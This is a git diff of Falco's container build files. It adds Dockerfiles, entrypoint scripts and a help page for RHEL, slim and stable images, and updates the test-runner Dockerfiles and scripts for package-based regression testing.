LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro --name NAME IMAGE"
|
||||
# NOTE: for the "least privileged" use case, please refer to the official documentation
|
||||
|
||||
ENV HOST_ROOT /host
|
||||
ENV HOME /root
|
||||
|
||||
COPY --from=ubuntu /falco /
|
||||
|
||||
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]
|
||||
38
docker/rhel/Dockerfile
Normal file
38
docker/rhel/Dockerfile
Normal file
@@ -0,0 +1,38 @@
|
||||
FROM registry.access.redhat.com/rhel7
|
||||
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
|
||||
### Atomic/OpenShift Labels - https://github.com/projectatomic/ContainerApplicationGenericLabels
|
||||
LABEL name="falco" \
|
||||
vendor="falcosecurity" \
|
||||
url="http://falco.org/" \
|
||||
summary="Container native runtime security" \
|
||||
description="Falco is an open source project for intrusion and abnormality detection for Cloud Native platforms." \
|
||||
run='docker run -d --name falco --restart always --privileged --net host --pid host -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro --shm-size=350m registry.connect.redhat.com/sysdig/falco'
|
||||
|
||||
COPY help.md /tmp/
|
||||
|
||||
ENV HOST_ROOT /host
|
||||
ENV HOME /root
|
||||
|
||||
ADD http://download.draios.com/stable/rpm/draios.repo /etc/yum.repos.d/draios.repo
|
||||
RUN rpm --import https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public && \
|
||||
rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm && \
|
||||
yum clean all && \
|
||||
REPOLIST=rhel-7-server-rpms,rhel-7-server-optional-rpms,epel,draios \
|
||||
INSTALL_PKGS="gcc dkms kernel-devel kernel-headers python golang-github-cpuguy83-go-md2man falco" && \
|
||||
yum -y update-minimal --disablerepo "*" --enablerepo ${REPOLIST} --setopt=tsflags=nodocs \
|
||||
--security --sec-severity=Important --sec-severity=Critical && \
|
||||
yum -y install --disablerepo "*" --enablerepo ${REPOLIST} --setopt=tsflags=nodocs ${INSTALL_PKGS} && \
|
||||
### help file markdown to man conversion
|
||||
go-md2man -in /tmp/help.md -out /help.1 && \
|
||||
### we delete everything on /usr/src/kernels otherwise it messes up docker-entrypoint.sh
|
||||
rm -fr /usr/src/kernels && \
|
||||
rm -df /lib/modules && ln -s $HOST_ROOT/lib/modules /lib/modules && \
|
||||
yum clean all
|
||||
|
||||
COPY ./docker-entrypoint.sh /
|
||||
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
|
||||
CMD ["/usr/bin/falco"]
|
||||
29
test/rules/exceptions/rule_exception_new_no_field_append.yaml → docker/rhel/docker-entrypoint.sh
Normal file → Executable file
29
test/rules/exceptions/rule_exception_new_no_field_append.yaml → docker/rhel/docker-entrypoint.sh
Normal file → Executable file
@@ -1,5 +1,6 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# Copyright (C) 2021 The Falco Authors.
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@@ -15,17 +16,19 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
- rule: Open From Cat
|
||||
desc: A process named cat does an open
|
||||
condition: evt.type=open and proc.name=cat
|
||||
output: "An open was seen (command=%proc.cmdline)"
|
||||
priority: WARNING
|
||||
# set -e
|
||||
|
||||
- rule: Open From Cat
|
||||
exceptions:
|
||||
- name: proc_cmdline
|
||||
comps: in
|
||||
values:
|
||||
- "cat /dev/null"
|
||||
append: true
|
||||
# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
|
||||
|
||||
if [[ -z "${SKIP_MODULE_LOAD}" ]]; then
|
||||
echo "* Setting up /usr/src links from host"
|
||||
|
||||
for i in "$HOST_ROOT/usr/src"/*
|
||||
do
|
||||
ln -s "$i" "/usr/src/$i"
|
||||
done
|
||||
|
||||
/usr/bin/falco-probe-loader
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
15
docker/rhel/help.md
Normal file
15
docker/rhel/help.md
Normal file
@@ -0,0 +1,15 @@
|
||||
% falco (1) Container Image Pages
|
||||
% Falco Team
|
||||
% June, 2017
|
||||
|
||||
# NAME
|
||||
falco \- Container Native runtime security
|
||||
|
||||
# DESCRIPTION
|
||||
Falco is an open source project for intrusion and abnormality detection for Cloud Native platforms. See Falco website for more information: http://falco.org/
|
||||
|
||||
# EXAMPLE
|
||||
docker run -d --name falco --restart always --privileged --net host --pid host -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro --shm-size=350m registry.connect.redhat.com/sysdig/falco
|
||||
|
||||
# AUTHORS
|
||||
Falco Team
|
||||
50
docker/slim-dev/Dockerfile
Normal file
50
docker/slim-dev/Dockerfile
Normal file
@@ -0,0 +1,50 @@
|
||||
FROM ubuntu:18.04
|
||||
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
|
||||
ENV FALCO_REPOSITORY dev
|
||||
|
||||
LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
|
||||
|
||||
ENV HOST_ROOT /host
|
||||
|
||||
ENV HOME /root
|
||||
|
||||
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
|
||||
|
||||
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
|
||||
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
# bash-completion \
|
||||
# bc \
|
||||
ca-certificates \
|
||||
curl \
|
||||
gnupg2 \
|
||||
jq \
|
||||
# netcat \
|
||||
# xz-utils \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
|
||||
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends falco \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Change the falco config within the container to enable ISO 8601
|
||||
# output.
|
||||
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
|
||||
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
|
||||
|
||||
# Some base images have an empty /lib/modules by default
|
||||
# If it's not empty, docker build will fail instead of
|
||||
# silently overwriting the existing directory
|
||||
RUN rm -df /lib/modules \
|
||||
&& ln -s $HOST_ROOT/lib/modules /lib/modules
|
||||
|
||||
#COPY ./entrypoint.sh /
|
||||
# ENTRYPOINT ["/entrypoint.sh"]
|
||||
|
||||
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]
|
||||
50
docker/slim-stable/Dockerfile
Normal file
50
docker/slim-stable/Dockerfile
Normal file
@@ -0,0 +1,50 @@
|
||||
FROM ubuntu:18.04
|
||||
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
|
||||
ENV FALCO_REPOSITORY stable
|
||||
|
||||
LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
|
||||
|
||||
ENV HOST_ROOT /host
|
||||
|
||||
ENV HOME /root
|
||||
|
||||
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
|
||||
|
||||
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
|
||||
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
# bash-completion \
|
||||
# bc \
|
||||
ca-certificates \
|
||||
curl \
|
||||
gnupg2 \
|
||||
jq \
|
||||
# netcat \
|
||||
# xz-utils \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
|
||||
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends falco \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Change the falco config within the container to enable ISO 8601
|
||||
# output.
|
||||
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
|
||||
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
|
||||
|
||||
# Some base images have an empty /lib/modules by default
|
||||
# If it's not empty, docker build will fail instead of
|
||||
# silently overwriting the existing directory
|
||||
RUN rm -df /lib/modules \
|
||||
&& ln -s $HOST_ROOT/lib/modules /lib/modules
|
||||
|
||||
#COPY ./entrypoint.sh /
|
||||
# ENTRYPOINT ["/entrypoint.sh"]
|
||||
|
||||
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]
|
||||
110
docker/stable/Dockerfile
Normal file
110
docker/stable/Dockerfile
Normal file
@@ -0,0 +1,110 @@
|
||||
FROM debian:unstable
|
||||
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
|
||||
ENV FALCO_REPOSITORY stable
|
||||
|
||||
LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
|
||||
|
||||
ENV HOST_ROOT /host
|
||||
|
||||
ENV HOME /root
|
||||
|
||||
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
|
||||
|
||||
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
|
||||
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
bash-completion \
|
||||
bc \
|
||||
clang-7 \
|
||||
ca-certificates \
|
||||
curl \
|
||||
dkms \
|
||||
gnupg2 \
|
||||
gcc \
|
||||
jq \
|
||||
libc6-dev \
|
||||
libelf-dev \
|
||||
libmpx2 \
|
||||
llvm-7 \
|
||||
netcat \
|
||||
xz-utils \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# gcc 6 is no longer included in debian unstable, but we need it to
|
||||
# build kernel modules on the default debian-based ami used by
|
||||
# kops. So grab copies we've saved from debian snapshots with the
|
||||
# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
|
||||
# or so.
|
||||
|
||||
RUN curl -o cpp-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/cpp-6_6.3.0-18_amd64.deb \
|
||||
&& curl -o gcc-6-base_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6-base_6.3.0-18_amd64.deb \
|
||||
&& curl -o gcc-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6_6.3.0-18_amd64.deb \
|
||||
&& curl -o libasan3_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libasan3_6.3.0-18_amd64.deb \
|
||||
&& curl -o libcilkrts5_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libcilkrts5_6.3.0-18_amd64.deb \
|
||||
&& curl -o libgcc-6-dev_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libgcc-6-dev_6.3.0-18_amd64.deb \
|
||||
&& curl -o libubsan0_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libubsan0_6.3.0-18_amd64.deb \
|
||||
&& curl -o libmpfr4_3.1.3-2_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libmpfr4_3.1.3-2_amd64.deb \
|
||||
&& curl -o libisl15_0.18-1_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libisl15_0.18-1_amd64.deb \
|
||||
&& dpkg -i cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb \
|
||||
&& rm -f cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb
|
||||
|
||||
# gcc 5 is no longer included in debian unstable, but we need it to
|
||||
# build centos kernels, which are 3.x based and explicitly want a gcc
|
||||
# version 3, 4, or 5 compiler. So grab copies we've saved from debian
|
||||
# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
|
||||
|
||||
RUN curl -o cpp-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/cpp-5_5.5.0-12_amd64.deb \
|
||||
&& curl -o gcc-5-base_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5-base_5.5.0-12_amd64.deb \
|
||||
&& curl -o gcc-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5_5.5.0-12_amd64.deb \
|
||||
&& curl -o libasan2_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libasan2_5.5.0-12_amd64.deb \
|
||||
&& curl -o libgcc-5-dev_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libgcc-5-dev_5.5.0-12_amd64.deb \
|
||||
&& curl -o libisl15_0.18-4_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libisl15_0.18-4_amd64.deb \
|
||||
&& curl -o libmpx0_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libmpx0_5.5.0-12_amd64.deb \
|
||||
&& dpkg -i cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb \
|
||||
&& rm -f cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb
|
||||
|
||||
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
|
||||
# default to gcc-5.
|
||||
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
|
||||
|
||||
RUN rm -rf /usr/bin/clang \
|
||||
&& rm -rf /usr/bin/llc \
|
||||
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
|
||||
&& ln -s /usr/bin/llc-7 /usr/bin/llc
|
||||
|
||||
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
|
||||
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends falco \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Change the falco config within the container to enable ISO 8601
|
||||
# output.
|
||||
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
|
||||
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
|
||||
|
||||
# Some base images have an empty /lib/modules by default
|
||||
# If it's not empty, docker build will fail instead of
|
||||
# silently overwriting the existing directory
|
||||
RUN rm -df /lib/modules \
|
||||
&& ln -s $HOST_ROOT/lib/modules /lib/modules
|
||||
|
||||
# debian:unstable head contains binutils 2.31, which generates
|
||||
# binaries that are incompatible with kernels < 4.16. So manually
|
||||
# forcibly install binutils 2.30-22 instead.
|
||||
RUN curl -s -o binutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils_2.30-22_amd64.deb \
|
||||
&& curl -s -o libbinutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libbinutils_2.30-22_amd64.deb \
|
||||
&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
|
||||
&& curl -s -o binutils-common_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-common_2.30-22_amd64.deb \
|
||||
&& dpkg -i *binutils*.deb \
|
||||
&& rm -f *binutils*.deb
|
||||
|
||||
COPY ./docker-entrypoint.sh /
|
||||
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
|
||||
CMD ["/usr/bin/falco"]
|
||||
26
test/rules/disabled_rule_using_enabled_flag_only.yaml → docker/stable/docker-entrypoint.sh
Normal file → Executable file
26
test/rules/disabled_rule_using_enabled_flag_only.yaml → docker/stable/docker-entrypoint.sh
Normal file → Executable file
@@ -1,5 +1,6 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# Copyright (C) 2021 The Falco Authors.
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@@ -14,11 +15,20 @@
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
- rule: open_from_cat
|
||||
desc: A process named cat does an open
|
||||
condition: evt.type=open and proc.name=cat
|
||||
output: "An open was seen"
|
||||
priority: WARNING
|
||||
|
||||
- rule: open_from_cat
|
||||
enabled: false
|
||||
# set -e
|
||||
|
||||
# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
|
||||
|
||||
if [[ -z "${SKIP_MODULE_LOAD}" ]]; then
|
||||
echo "* Setting up /usr/src links from host"
|
||||
|
||||
for i in "$HOST_ROOT/usr/src"/*
|
||||
do
|
||||
ln -s "$i" "/usr/src/$i"
|
||||
done
|
||||
|
||||
/usr/bin/falco-probe-loader
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
@@ -1,27 +1,16 @@
|
||||
FROM fedora:31
|
||||
|
||||
LABEL name="falcosecurity/falco-tester"
|
||||
LABEL usage="docker run -v /boot:/boot:ro -v /var/run/docker.sock:/var/run/docker.sock -v $PWD/..:/source -v $PWD/build:/build --name <name> falcosecurity/falco-tester test"
|
||||
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
|
||||
|
||||
ARG TARGETARCH
|
||||
LABEL usage="docker run -v /boot:/boot:ro -v /var/run/docker.sock:/var/run/docker.sock -v $PWD/..:/source -v $PWD/build:/build -e FALCO_VERSION=<current_falco_version> --name <name> falcosecurity/falco-tester test"
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
|
||||
ENV FALCO_VERSION=
|
||||
ENV BUILD_TYPE=release
|
||||
|
||||
RUN if [ "$TARGETARCH" = "amd64" ] ; then curl -L -o grpcurl.tar.gz \
|
||||
https://github.com/fullstorydev/grpcurl/releases/download/v1.8.6/grpcurl_1.8.6_linux_x86_64.tar.gz; \
|
||||
else curl -L -o grpcurl.tar.gz \
|
||||
https://github.com/fullstorydev/grpcurl/releases/download/v1.8.6/grpcurl_1.8.6_linux_arm64.tar.gz; \
|
||||
fi;
|
||||
|
||||
RUN dnf install -y python-pip python docker findutils jq unzip && dnf clean all
|
||||
RUN dnf install -y python2-pip python2 docker findutils jq unzip && dnf clean all
|
||||
ENV PATH="/root/.local/bin/:${PATH}"
|
||||
RUN pip install --user avocado-framework==69.0
|
||||
RUN pip install --user avocado-framework-plugin-varianter-yaml-to-mux==69.0
|
||||
RUN pip install --user watchdog==0.10.2
|
||||
RUN pip install --user pathtools==0.1.2
|
||||
RUN tar -C /usr/bin -xvf grpcurl.tar.gz
|
||||
RUN pip2 install --user avocado-framework==69.0
|
||||
RUN pip2 install --user avocado-framework-plugin-varianter-yaml-to-mux==69.0
|
||||
|
||||
COPY ./root /
|
||||
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
FROM ubuntu:18.04
|
||||
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
|
||||
ARG FALCO_VERSION=
|
||||
RUN test -n FALCO_VERSION
|
||||
ENV FALCO_VERSION ${FALCO_VERSION}
|
||||
|
||||
RUN apt update -y
|
||||
RUN apt install dkms -y
|
||||
RUN apt install dkms libyaml-0-2 -y
|
||||
|
||||
ADD falco-${FALCO_VERSION}-*.deb /
|
||||
RUN dpkg -i /falco-${FALCO_VERSION}-$(uname -m).deb
|
||||
ADD falco-${FALCO_VERSION}-x86_64.deb /
|
||||
RUN dpkg -i /falco-${FALCO_VERSION}-x86_64.deb
|
||||
|
||||
# Change the falco config within the container to enable ISO 8601 output.
|
||||
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
FROM centos:7
|
||||
|
||||
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
|
||||
ARG FALCO_VERSION=
|
||||
RUN test -n FALCO_VERSION
|
||||
@@ -9,8 +9,8 @@ ENV FALCO_VERSION ${FALCO_VERSION}
|
||||
RUN yum update -y
|
||||
RUN yum install epel-release -y
|
||||
|
||||
ADD falco-${FALCO_VERSION}-*.rpm /
|
||||
RUN yum install -y /falco-${FALCO_VERSION}-$(uname -m).rpm
|
||||
ADD falco-${FALCO_VERSION}-x86_64.rpm /
|
||||
RUN yum install -y /falco-${FALCO_VERSION}-x86_64.rpm
|
||||
|
||||
# Change the falco config within the container to enable ISO 8601 output.
|
||||
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
FROM ubuntu:18.04
|
||||
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
|
||||
|
||||
ARG FALCO_VERSION=
|
||||
RUN test -n FALCO_VERSION
|
||||
ENV FALCO_VERSION ${FALCO_VERSION}
|
||||
|
||||
RUN apt update -y
|
||||
RUN apt install dkms curl -y
|
||||
|
||||
ADD falco-${FALCO_VERSION}-*.tar.gz /
|
||||
RUN cp -R /falco-${FALCO_VERSION}-$(uname -m)/* /
|
||||
|
||||
# Change the falco config within the container to enable ISO 8601 output.
|
||||
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
|
||||
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
|
||||
|
||||
COPY rules/*.yaml /rules/
|
||||
COPY trace_files/*.scap /traces/
|
||||
|
||||
CMD ["/usr/bin/falco"]
|
||||
@@ -1,15 +1,12 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
BUILD_DIR=${BUILD_DIR:-/build}
|
||||
SOURCE_DIR=${SOURCE_DIR:-/source}
|
||||
SKIP_PACKAGES_TESTS=${SKIP_PACKAGES_TESTS:-false}
|
||||
set -eu -o pipefail
|
||||
|
||||
SOURCE_DIR=/source
|
||||
BUILD_DIR=/build
|
||||
CMD=${1:-test}
|
||||
shift
|
||||
|
||||
# Stop the execution if a command in the pipeline has an error, from now on
|
||||
set -e -u -o pipefail
|
||||
|
||||
# build type can be "debug" or "release", fallbacks to "release" by default
|
||||
BUILD_TYPE=$(echo "$BUILD_TYPE" | tr "[:upper:]" "[:lower:]")
|
||||
case "$BUILD_TYPE" in
|
||||
@@ -25,7 +22,7 @@ build_image() {
|
||||
BUILD_TYPE=$2
|
||||
FALCO_VERSION=$3
|
||||
PACKAGE_TYPE=$4
|
||||
PACKAGE="$BUILD_DIR/$BUILD_TYPE/falco-$FALCO_VERSION-$(uname -m).${PACKAGE_TYPE}"
|
||||
PACKAGE="$BUILD_DIR/$BUILD_TYPE/falco-$FALCO_VERSION-x86_64.${PACKAGE_TYPE}"
|
||||
if [ ! -f "$PACKAGE" ]; then
|
||||
echo "Package not found: ${PACKAGE}." >&2
|
||||
exit 1
|
||||
@@ -50,8 +47,7 @@ case "$CMD" in
|
||||
"test")
|
||||
if [ -z "$FALCO_VERSION" ]; then
|
||||
echo "Automatically figuring out Falco version."
|
||||
FALCO_VERSION_FULL=$("$BUILD_DIR/$BUILD_TYPE/userspace/falco/falco" --version)
|
||||
FALCO_VERSION=$(echo "$FALCO_VERSION_FULL" | head -n 1 | cut -d' ' -f3 | tr -d '\r')
|
||||
FALCO_VERSION=$("$BUILD_DIR/$BUILD_TYPE/userspace/falco/falco" --version | cut -d' ' -f3 | tr -d '\r')
|
||||
echo "Falco version: $FALCO_VERSION"
|
||||
fi
|
||||
if [ -z "$FALCO_VERSION" ]; then
|
||||
@@ -60,11 +56,8 @@ case "$CMD" in
|
||||
fi
|
||||
|
||||
# build docker images
|
||||
if [ "$SKIP_PACKAGES_TESTS" = false ] ; then
|
||||
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "deb"
|
||||
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "rpm"
|
||||
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "tar.gz"
|
||||
fi
|
||||
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "deb"
|
||||
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "rpm"
|
||||
|
||||
# check that source directory contains Falco
|
||||
if [ ! -d "$SOURCE_DIR/falco/test" ]; then
|
||||
@@ -75,14 +68,11 @@ case "$CMD" in
|
||||
# run tests
|
||||
echo "Running regression tests ..."
|
||||
cd "$SOURCE_DIR/falco/test"
|
||||
SKIP_PACKAGES_TESTS=$SKIP_PACKAGES_TESTS ./run_regression_tests.sh -d "$BUILD_DIR/$BUILD_TYPE"
|
||||
./run_regression_tests.sh "$BUILD_DIR/$BUILD_TYPE"
|
||||
|
||||
# clean docker images
|
||||
if [ "$SKIP_PACKAGES_TESTS" = false ] ; then
|
||||
clean_image "deb"
|
||||
clean_image "rpm"
|
||||
clean_image "tar.gz"
|
||||
fi
|
||||
clean_image "deb"
|
||||
clean_image "rpm"
|
||||
;;
|
||||
"bash")
|
||||
CMD=/bin/bash
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
pythonversion=$(python -c 'import sys; version=sys.version_info[:3]; print("{0}.{1}.{2}".format(*version))')
|
||||
pipversion=$(pip --version | cut -d' ' -f 1,2,5,6)
|
||||
pythonversion=$(python2 -c 'import sys; version=sys.version_info[:3]; print("{0}.{1}.{2}".format(*version))')
|
||||
pipversion=$(pip2 --version | cut -d' ' -f 1,2,5,6)
|
||||
dockerversion=$(docker --version)
|
||||
avocadoversion=$(pip show avocado-framework | grep Version)
|
||||
avocadoversion=$(pip2 show avocado-framework | grep Version)
|
||||
avocadoversion=${avocadoversion#"Version: "}
|
||||
|
||||
cat <<EOF
|
||||
@@ -30,7 +30,7 @@ How to use.
|
||||
|
||||
How to build.
|
||||
|
||||
* cd docker/tester && DOCKER_BUILDKIT=1 docker build -t falcosecurity/falco-tester .
|
||||
* cd docker/builder && DOCKER_BUILDKIT=1 docker build -t falcosecurity/falco-tester .
|
||||
|
||||
Environment.
|
||||
|
||||
|
||||
@@ -1,45 +0,0 @@
|
||||
ARG UBI_VERSION=latest
|
||||
FROM registry.access.redhat.com/ubi8/ubi:${UBI_VERSION}
|
||||
|
||||
ARG FALCO_VERSION
|
||||
RUN test -n "$FALCO_VERSION" || (echo "FALCO_VERSION not set" && false)
|
||||
ENV FALCO_VERSION=${FALCO_VERSION}
|
||||
|
||||
LABEL "name"="Falco Runtime Security"
|
||||
LABEL "vendor"="Falco"
|
||||
LABEL "version"="${FALCO_VERSION}"
|
||||
LABEL "release"="${FALCO_VERSION}"
|
||||
LABEL "ubi-version"="${UBI_VERSION}"
|
||||
LABEL "summary"="Falco is a security policy engine that monitors system calls and cloud events, and fires alerts when security policies are violated."
|
||||
LABEL "description"="Falco is a security policy engine that monitors system calls and cloud events, and fires alerts when security policies are violated."
|
||||
LABEL "io.k8s.display-name"="Falco"
|
||||
LABEL "io.k8s.description"="Falco is a security policy engine that monitors system calls and cloud events, and fires alerts when security policies are violated."
|
||||
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
|
||||
